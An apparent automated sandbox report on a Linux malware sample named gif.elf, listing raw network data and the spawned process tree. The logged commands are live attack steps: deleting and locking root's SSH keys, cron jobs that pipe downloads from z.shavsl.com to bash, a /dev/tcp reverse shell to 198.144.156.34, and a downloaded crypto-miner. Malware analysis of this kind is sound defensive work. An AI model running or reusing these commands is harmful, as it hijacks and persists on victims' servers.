Mar 8, 2025 11:40:55.488043070 CET	1236	IN	Data Raw: f9 26 74 7d 7b 98 3f a7 48 a5 92 bc 5a 74 71 4d f7 94 95 43 84 46 f4 dd c5 a5 3f 65 c7 16 da 04 7b 0d 81 c9 65 1b 85 44 4c 5f 80 a5 07 86 0b e0 e5 b6 4c 39 0f 81 69 01 a4 03 f4 fa 53 a7 ed ae 88 7f 83 19 ca 56 d0 c6 3e 54 7e b7 4b 61 a4 d3 9e 07 Data Ascii: &t}{?HZtqMCF?e{eDL_L9iSV>T~Kaww&mN'+p^(ZCI[7N(:0PS]F'-+AwZ)}MxGT\|kD1ib5rwgT2t>eFo.GXJuxlz=
Mar 8, 2025 11:40:55.488080025 CET	1236	IN	Data Raw: 73 e7 07 2a 48 d3 30 0b bd 4f db 53 bb f7 3a 1e a1 5e 64 f6 3d 2a 6a bd 53 a4 da 2c fd dc 05 af 5d 9c 4b 9b 05 c0 da ca cb d7 6f eb 9d 4b ea 3d 58 b3 e9 de 08 e0 d1 6c 43 0a 47 cb a5 be 3f a7 59 08 2f ae b8 85 cc 68 37 52 32 4b 19 e7 80 d9 92 60 Data Ascii: sH0OS:^d=jS,]KoK=XlCG?Y/h7R2K`W@N0h>(vO-!ic[:vk}7RH)Fr4zxVI/G;5,MbUvQ5lOfOZ.zx@i;os*x~9Go$"\s
Mar 8, 2025 11:40:55.488114119 CET	1236	IN	Data Raw: f8 b0 0d d2 2b c2 8c 6c cf 73 6e 77 66 2c ed 8d bb c1 b9 4a 82 9d c9 ad 02 19 8b 8c 5a f0 c7 70 5f 63 1f e4 8c f2 04 a0 9c 4b e7 c4 73 b0 90 81 b4 ac 20 7a 68 e7 63 12 16 3f 27 62 2d 7a db ce 9b f4 3d 16 9c c0 a8 c9 5e 5c fb 73 3d 79 9d 2b 03 38 Data Ascii: +lsnwf,JZp_cKs zhc?'b-z=^\s=y+8PSqH~Nps1]F4TV@c]uFHdi)vb~Oq%"r[d)Ive6f_Q]98[6q@94Vj+R!xj=p"L,7DT
Mar 8, 2025 11:40:55.488147974 CET	956	IN	Data Raw: b2 9e 71 37 60 a7 f2 0f c3 d7 c3 81 64 e6 a5 50 d4 07 39 03 ef 66 e4 7a 11 ce df 9d 19 fa 4c 7d f5 a6 12 c2 7d 02 ed 8c 65 96 2d fa 4c f4 c4 56 35 26 67 e9 fd e9 46 4d 9e c8 f9 1c 93 62 64 a2 35 5f 42 18 ed 2b 80 e2 7a c2 90 40 9e 0c da 11 e5 e1 Data Ascii: q7`dP9fzL}}e-LV5&gFMbd5_B+z@(u5:g(I/4U.7OTd2$B/1L^t\|xps#d01!,q^8.wsk 3 {AgghG0O#<C/`[
Mar 8, 2025 11:40:55.488185883 CET	1236	IN	Data Raw: 77 e6 5a 94 cd bd f7 83 eb ae 83 63 d1 ed 6a ff 99 93 33 9e 35 11 28 33 9f bc 06 8e 8b 75 e2 1f 79 d5 0a f3 8d 43 e2 d0 80 c9 0e 69 3d 4c 75 be 4b d6 b0 ca 38 cd 68 ba 7e 32 f0 06 35 e3 db 55 a5 ed 33 a5 2b b1 33 4e 22 1f 44 12 fb 4b c1 2c 22 2f Data Ascii: wZcj35(3uyCi=LuK8h~25U3+3N"DK,"/@xe,!G%XI[ii\|ZuhF]e$h&gTx=#luTT4}Kcs[ebrCbV7h~!6^}mydJht<X^8
Mar 8, 2025 11:40:55.493376970 CET	1236	IN	Data Raw: 84 55 8c 48 47 05 6f 52 0f a1 f7 e8 23 f1 df 98 24 1b 84 39 a0 36 61 e8 b7 4d 76 2b e9 11 a5 19 63 97 30 49 43 9e d6 dd 3b 94 c2 f3 7d 01 cd 11 35 d1 5d 0d bf 1e 31 32 8f 46 c2 b3 a1 f2 7f 2e 97 b5 e5 78 cc ce 59 32 5d 4b 59 48 f5 b6 bf 85 74 0c Data Ascii: UHGoR#$96aMv+c0IC;}5]12F.xY2]KYHtVcO%/!ZG.p;1$$'^t.khlWG97yF,C]Mmwviq!hWSQn`/0,rc]`8Y2f?l4nj~

System Behavior

Analysis Process: gif.elf PID: 5638, Parent PID: 5557

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	/tmp/gif.elf
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: gif.elf PID: 5639, Parent PID: 5638

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: gif.elf PID: 5640, Parent PID: 5639

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: gif.elf PID: 5641, Parent PID: 5640

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5641, Parent PID: 5640

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "chattr -ia -R /root/.ssh"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5642, Parent PID: 5641

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chattr PID: 5642, Parent PID: 5641

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/usr/bin/chattr
Arguments:	chattr -ia -R /root/.ssh
File size:	14656 bytes
MD5 hash:	fae2c2deaeca3bbf906fb8034304ad32

Chronological Activities

Analysis Process: gif.elf PID: 5643, Parent PID: 5640

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5643, Parent PID: 5640

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "rm -rf /root/.ssh/authorized_keys2"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5644, Parent PID: 5643

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 5644, Parent PID: 5643

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /root/.ssh/authorized_keys2
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: gif.elf PID: 5645, Parent PID: 5640

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5645, Parent PID: 5640

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "chattr +i /root/.ssh/authorized_keys2"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5646, Parent PID: 5645

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chattr PID: 5646, Parent PID: 5645

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/usr/bin/chattr
Arguments:	chattr +i /root/.ssh/authorized_keys2
File size:	14656 bytes
MD5 hash:	fae2c2deaeca3bbf906fb8034304ad32

Chronological Activities

Analysis Process: gif.elf PID: 5647, Parent PID: 5640

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5647, Parent PID: 5640

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "chattr -ia -R /etc/cron.d > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5648, Parent PID: 5647

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chattr PID: 5648, Parent PID: 5647

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/usr/bin/chattr
Arguments:	chattr -ia -R /etc/cron.d
File size:	14656 bytes
MD5 hash:	fae2c2deaeca3bbf906fb8034304ad32

Chronological Activities

Analysis Process: gif.elf PID: 5649, Parent PID: 5640

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5649, Parent PID: 5640

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "chattr -ia /etc/crontab > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5650, Parent PID: 5649

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chattr PID: 5650, Parent PID: 5649

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/usr/bin/chattr
Arguments:	chattr -ia /etc/crontab
File size:	14656 bytes
MD5 hash:	fae2c2deaeca3bbf906fb8034304ad32

Chronological Activities

Analysis Process: gif.elf PID: 5651, Parent PID: 5640

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5651, Parent PID: 5640

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "chattr -ia -R /var/spool/cron > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5652, Parent PID: 5651

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chattr PID: 5652, Parent PID: 5651

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/usr/bin/chattr
Arguments:	chattr -ia -R /var/spool/cron
File size:	14656 bytes
MD5 hash:	fae2c2deaeca3bbf906fb8034304ad32

Chronological Activities

Analysis Process: gif.elf PID: 5653, Parent PID: 5640

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5653, Parent PID: 5640

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "chattr -ia -R /var/spool/cron/crontabs > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5654, Parent PID: 5653

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chattr PID: 5654, Parent PID: 5653

General

Start time (UTC):	10:40:52
Start date (UTC):	08/03/2025
Path:	/usr/bin/chattr
Arguments:	chattr -ia -R /var/spool/cron/crontabs
File size:	14656 bytes
MD5 hash:	fae2c2deaeca3bbf906fb8034304ad32

Chronological Activities

Analysis Process: gif.elf PID: 5655, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5655, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "chattr -ia -R /etc/cron.hourly > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5656, Parent PID: 5655

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chattr PID: 5656, Parent PID: 5655

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/usr/bin/chattr
Arguments:	chattr -ia -R /etc/cron.hourly
File size:	14656 bytes
MD5 hash:	fae2c2deaeca3bbf906fb8034304ad32

Chronological Activities

Analysis Process: gif.elf PID: 5657, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5657, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "echo '0 1 * * * root curl -fs http://z.shavsl.com/b\|bash ' > /etc/cron.d/watch"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: gif.elf PID: 5658, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5658, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "echo '0 2 * * * root wget -c http://z.shavsl.com/b -qO -\|bash ' >> /etc/cron.d/watch"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: gif.elf PID: 5659, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5659, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "chattr +i /etc/cron.d/watch > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5660, Parent PID: 5659

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chattr PID: 5660, Parent PID: 5659

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/usr/bin/chattr
Arguments:	chattr +i /etc/cron.d/watch
File size:	14656 bytes
MD5 hash:	fae2c2deaeca3bbf906fb8034304ad32

Chronological Activities

Analysis Process: gif.elf PID: 5661, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5661, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "echo '#!/bin/bash' > /etc/cron.hourly/prelink"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: gif.elf PID: 5662, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5662, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "echo 'bash -i >& /dev/tcp/198.144.156.34/8443 0>&1' >> /etc/cron.hourly/prelink"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: gif.elf PID: 5663, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5663, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "chmod 755 /etc/cron.hourly/prelink"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5664, Parent PID: 5663

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chmod PID: 5664, Parent PID: 5663

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/usr/bin/chmod
Arguments:	chmod 755 /etc/cron.hourly/prelink
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Chronological Activities

Analysis Process: gif.elf PID: 5665, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5665, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "chattr +i /etc/cron.hourly/prelink > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5666, Parent PID: 5665

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chattr PID: 5666, Parent PID: 5665

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/usr/bin/chattr
Arguments:	chattr +i /etc/cron.hourly/prelink
File size:	14656 bytes
MD5 hash:	fae2c2deaeca3bbf906fb8034304ad32

Chronological Activities

Analysis Process: gif.elf PID: 5667, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5667, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "chattr -ia -R /root/.ssh"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5668, Parent PID: 5667

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chattr PID: 5668, Parent PID: 5667

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/usr/bin/chattr
Arguments:	chattr -ia -R /root/.ssh
File size:	14656 bytes
MD5 hash:	fae2c2deaeca3bbf906fb8034304ad32

Chronological Activities

Analysis Process: gif.elf PID: 5669, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5669, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "rm -rf /root/.ssh/authorized_keys"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5670, Parent PID: 5669

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 5670, Parent PID: 5669

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /root/.ssh/authorized_keys
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: gif.elf PID: 5671, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5671, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "chattr +i /root/.ssh/authorized_keys"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5672, Parent PID: 5671

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chattr PID: 5672, Parent PID: 5671

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/usr/bin/chattr
Arguments:	chattr +i /root/.ssh/authorized_keys
File size:	14656 bytes
MD5 hash:	fae2c2deaeca3bbf906fb8034304ad32

Chronological Activities

Analysis Process: gif.elf PID: 5673, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5673, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "chattr -ia -R /root/.ssh"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5674, Parent PID: 5673

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chattr PID: 5674, Parent PID: 5673

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/usr/bin/chattr
Arguments:	chattr -ia -R /root/.ssh
File size:	14656 bytes
MD5 hash:	fae2c2deaeca3bbf906fb8034304ad32

Chronological Activities

Analysis Process: gif.elf PID: 5675, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5675, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "rm -rf /root/.ssh/authorized_keys2"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5676, Parent PID: 5675

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 5676, Parent PID: 5675

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /root/.ssh/authorized_keys2
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: gif.elf PID: 5677, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5677, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "chattr +i /root/.ssh/authorized_keys2"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5678, Parent PID: 5677

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chattr PID: 5678, Parent PID: 5677

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/usr/bin/chattr
Arguments:	chattr +i /root/.ssh/authorized_keys2
File size:	14656 bytes
MD5 hash:	fae2c2deaeca3bbf906fb8034304ad32

Chronological Activities

Analysis Process: gif.elf PID: 5679, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5679, Parent PID: 5640

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "curl -fs http://w.softprojectcode.com/miner -o /tmp/.miner && chmod 755 /tmp/.miner && /tmp/.miner"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5680, Parent PID: 5679

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: curl PID: 5680, Parent PID: 5679

General

Start time (UTC):	10:40:53
Start date (UTC):	08/03/2025
Path:	/usr/bin/curl
Arguments:	curl -fs http://w.softprojectcode.com/miner -o /tmp/.miner
File size:	239848 bytes
MD5 hash:	add6bc2195e82c55985ccf49fd4048e6

Chronological Activities

Analysis Process: sh PID: 5685, Parent PID: 5679

General

Start time (UTC):	10:40:56
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chmod PID: 5685, Parent PID: 5679

General

Start time (UTC):	10:40:56
Start date (UTC):	08/03/2025
Path:	/usr/bin/chmod
Arguments:	chmod 755 /tmp/.miner
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Chronological Activities

Analysis Process: sh PID: 5686, Parent PID: 5679

General

Start time (UTC):	10:40:56
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: .miner PID: 5686, Parent PID: 5679

General

Start time (UTC):	10:40:56
Start date (UTC):	08/03/2025
Path:	/tmp/.miner
Arguments:	/tmp/.miner
File size:	1827416 bytes
MD5 hash:	44de739950eb4a8a3552b4e1987e8ec2

Chronological Activities

Analysis Process: .miner PID: 5687, Parent PID: 5686

General

Start time (UTC):	10:40:57
Start date (UTC):	08/03/2025
Path:	/tmp/.miner
Arguments:	-
File size:	1827416 bytes
MD5 hash:	44de739950eb4a8a3552b4e1987e8ec2

Chronological Activities

Analysis Process: sh PID: 5687, Parent PID: 5686

General

Start time (UTC):	10:40:57
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "rm -f /etc/hosts.old"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5688, Parent PID: 5687

General

Start time (UTC):	10:40:57
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 5688, Parent PID: 5687

General

Start time (UTC):	10:40:57
Start date (UTC):	08/03/2025
Path:	/usr/bin/rm
Arguments:	rm -f /etc/hosts.old
File size:	72056 bytes
